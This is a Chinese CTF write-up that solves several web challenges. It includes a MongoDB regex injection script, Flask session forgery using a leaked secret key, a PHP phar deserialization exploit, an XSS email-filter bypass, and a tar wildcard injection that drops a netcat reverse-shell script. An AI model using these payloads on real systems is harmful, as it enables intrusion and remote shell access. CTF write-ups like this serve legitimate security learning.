用优惠码 买个 X?

先扫了一下,发现有个www.zip

解压后发现只有一个文件

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<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
	mt_srand($_SESSION['seed']);
    $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $auth='';
    $len=15;
    for ( $i = 0; $i < $len; $i++ ){
        if($i<=($len/2))
              $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
        else
              $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
    }
    setcookie('Auth', $auth);
}
//support
	if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
        if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
               //执行命令
        }else {
              //flag字段和某些字符被过滤!
        }
	}else{
             // 你的输入不正确!
	}
?>

然后发现每次在登录的时候会调用 youhuima() 这个方法,每次登录都会弹一个窗

这时 Cookie 中的 Auth 值为: 86Q5yFEcOUnzHVr

然后根据 $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1); 可以算出来每一次 mt_rand 的值

那么需要爆破出来种子,用 php_mt_seed 很快就能爆出来

然后提示说需要24位的优惠券,所以将题目给出的那个生成代码 $len 改成24,得到86Q5yFEcmgNBtVrJRSpJZoO8,填了生成的优惠码后跳转到了exec.php

然后因为正则使用了m修饰符,且只要有匹配项就可以直接进入,所以直接换行就可以执行命令了 ( 在burp里改成0a

但是这里没法直接 cat /flag ,被过滤掉了,并且 *, ? 也都被过滤掉了,这里用ph老师以前说过的一个点可以绕过

Injection ???

mongo的注入,写个脚本跑就好了

code by zer0i3

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import pytesseract
from PIL import Image
import requests
import os
import string

password = ''
string_list = string.ascii_letters + string.digits

s = requests.Session()

for i in range(32):
    for j in string_list:
        res = s.get('http://123.206.213.66:45678/vertify.php')
        image_name = os.path.join(os.path.dirname(__file__),'yzm.jpg')
        with open(image_name, 'wb') as file:
            file.write(res.content)
        image = Image.open(image_name)
        code = pytesseract.image_to_string(image)
        res = s.get('http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^'+password + j +'&vertify='+code)
        while ('CAPTCHA' in res.content):
            res = s.get('http://123.206.213.66:45678/vertify.php')
            image_name = os.path.join(os.path.dirname(__file__),'yzm.jpg')
            with open(image_name, 'wb') as file:
                file.write(res.content)
            image = Image.open(image_name)
            code = pytesseract.image_to_string(image)
            res = s.get('http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^'+password + j +'&vertify='+code)
        print password+j,res.content
        if 'Nice!But it is not the real passwd' in res.content:
            password += j
            print password
            break
        elif 'username or password incorrect' in res.content:
            continue
print passwd

皇家线上赌场

访问主页发现弹了个窗,然后看了下页面源码,发现这么个连接

http://107.167.188.241/static?file=test.js

然后发现这是个任意文件读取,读 /proc/self/mounts 可以得到web目录

/dev/sda1 /home/ctf/web_assli3fasdf ext4 rw,relatime,data=ordered 0 0

但是读不到其它文件,然后这题给了个hint

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if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1:
            return abort(404)

那么这里就可以用到 /proc/self/cwd 这个指向工作目录的链接文件

读一下views.py

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def register_views(app):
    @app.before_request
    def reset_account():
        if request.path == '/signup' or request.path == '/login':
            return
        uname = username=session.get('username')
        u = User.query.filter_by(username=uname).first()
        if u:
            g.u = u
            g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
            if uname == 'admin':
                return
            now = int(time())
            if (now - u.ts >= 600):
                u.balance = 10000
                u.count = 0
                u.ts = now
                u.save()
                session['balance'] = 10000
                session['count'] = 0

    @app.route('/getflag', methods=('POST',))
    @login_required
    def getflag():
        u = getattr(g, 'u')
        if not u or u.balance < 1000000:
            return '{"s": -1, "msg": "error"}'
        field = request.form.get('field', 'username')
        mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
        jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
        return jdata.format(field, g.u, mhash)

以及__init__.py

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from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db


def create_app():
    app = Flask(__name__, static_folder='')
    app.secret_key = '9f516783b42730b7888008dd5c15fe66'
    app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
    register_views(app)
    db.init_app(app)
    return app

这样得到了 secret_key , 于是可以伪造一下session,解一下已登录状态下的cookie

然后使用得到的 secret_key 来重新生成一下符合条件的session,顺便把用户改成了admin

然后就是 getflag 的路由,这里format是可以直接注入一些数据的,但是需要跳出 g.u,结合hint2 出题人为了方便,给user写了个save方法,使用 __globals__ 来跳出拿到flag

SimplePHP

先是看到有个上传文件和查看文件,查看文件的地方url看着很奇怪,于是写了个index.php发现居然打印了代码。于是把所有代码都搞了一份到本地

function.php

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<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jepg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

file.php

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<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

上传其实很简单,无非就是只能上传图片,然后file.php中查看的文件名是完全可控的,于是想到使用phar进行反序列化,然后看到class.php

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<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        var_dump($this->source);
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        var_dump($this->source);
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

其实过一遍大概就知道改怎么去构造pop链了, C1e4r 在 destruct 的时候 echo 了一下,那么就可以触发 Show 中的 __ToString,然后在其中可以触发 __get,一直到 file_get 来读到 f1ag.php 文件,构造一个 phar 的图片

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<?php
    class C1e4r
    {
        public $str;
        public function __construct($name)
        {
            $this->str = $name;
        }
    }
    class Show
    {
        public $str;
        public function __construct()
        {
            $this->str = array();
        }
    }

    class Test
    {
        public $params;
        public function __construct()
        {
            $this->params = array();
        }
    }

    $obj = new Test();
    $obj->params = array('source' => '/var/www/html/f1ag.php');
    $obj1 = new Show();
    $obj1->str = array('str'=>$obj);
    $obj2 = new C1e4r($obj1);


    $p = new Phar('./1.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($obj2);
    $p->addFromString('1.txt','text');
    $p->stopBuffering();
    rename('./1.phar', '1.gif');

题目右上角已经给出了地址,所以自己md5以下即可得到文件名,然后在查看文件的地方触发一下,得到一串base64,解码就可以得到flag了

有趣的邮箱注册

在邮箱验证界面查看源码,可以得到一串代码

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<!--check.php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}
?>
-->

可以看到这里使用了 FILTER_VALIDATE_EMAIL 来进行了验证,这里直接 "<script/src=http://xxxx></script>"@qq.com 就可以绕过了

这里看到直接echo了邮箱地址,并且说 『管理员审核』,而且点击后台管理提示需要本地才能访问,那么差不多能想到需要使用xss去打管理员,然后访问一下admin.php看看是什么内容

但是收到内容后发现并没有cookie

那么可能需要去访问一下admin.php的源码看看内容

发现一个很奇怪的链接。 测试了一下发现是可以直接执行系统命令的,于是弹了个shell回来,发现根目录下的flag是 flag:flag 并且是400的权限,于是读了读其它文件,在nginx配置文件中看到有个奇怪的东西

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server {
        listen 6324 default_server;

        root /var/www/html;

        index index.html index.htm index.nginx-debian.html;

        server_name _;

        location / {
                root /var/www/html;
                try_files $uri $uri/ =404;
        }

        location ~ ^/4f0a5ead5aef34138fcbf8cf00029e7b/.*\.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/var/run/php5-fpm-flag.sock;
        }

        location ~ \.php$ {
                root /var/www/html/www;
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/var/run/php5-fpm.sock;
        }
}

直接访问 4f0a5ead5aef34138fcbf8cf00029e7b 发现是一个上传备份的应用

然后发现只有backup.php才有权限读

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$ ls -la
total 40
drwxr-xr-x  6 root root  4096 Dec 18 17:14 .
drwxr-xr-x  4 root root  4096 Dec 18 14:28 ..
-rw-r--r--  1 root root   320 Dec 18 17:14 backup.php
drwxr-xr-x  2 root root  4096 Dec 13 19:25 css
drwxr-x--- 24 flag nginx 4096 Dec 18 17:15 files
drw-r--r--  2 root root  4096 Dec 13 19:25 fonts
-rw-r--r--  1 root root  4714 Dec 16 20:17 index.html
drwxr-xr-x  2 root root  4096 Dec 13 19:25 js
-r--r-----  1 flag flag   707 Dec 18 17:13 upload.php

backup.php

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<?php
include("upload.php");
echo "上传目录:" . $upload_dir . "<br />";
$sys = "tar -czf z.tar.gz *";
chdir($upload_dir);
system($sys);
if(file_exists('z.tar.gz')){
        echo "上传目录下的所有文件备份成功!<br />";
        echo "备份文件名: z.tar.gz";
}else{
        echo "未上传文件,无法备份!";
}
?>

然后这里的 tar -czf z.tar.gz * 就是关键了,找到一篇文章

https://blog.csdn.net/qq_27446553/article/details/80943097

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echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

在本地建好这三个文件,然后依次上传,再进行备份,就可以弹回来flag权限的shell了